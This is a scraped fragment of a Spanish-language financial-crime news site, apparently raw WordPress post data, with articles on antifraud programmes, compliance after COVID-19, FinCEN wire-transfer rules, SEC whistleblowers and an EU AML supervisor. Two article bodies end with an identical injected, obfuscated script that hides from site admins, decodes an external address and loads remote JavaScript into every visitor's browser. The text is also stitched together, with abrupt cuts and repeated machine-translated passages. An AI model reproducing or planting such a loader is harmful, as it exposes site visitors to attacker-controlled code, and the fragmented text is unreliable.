evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las 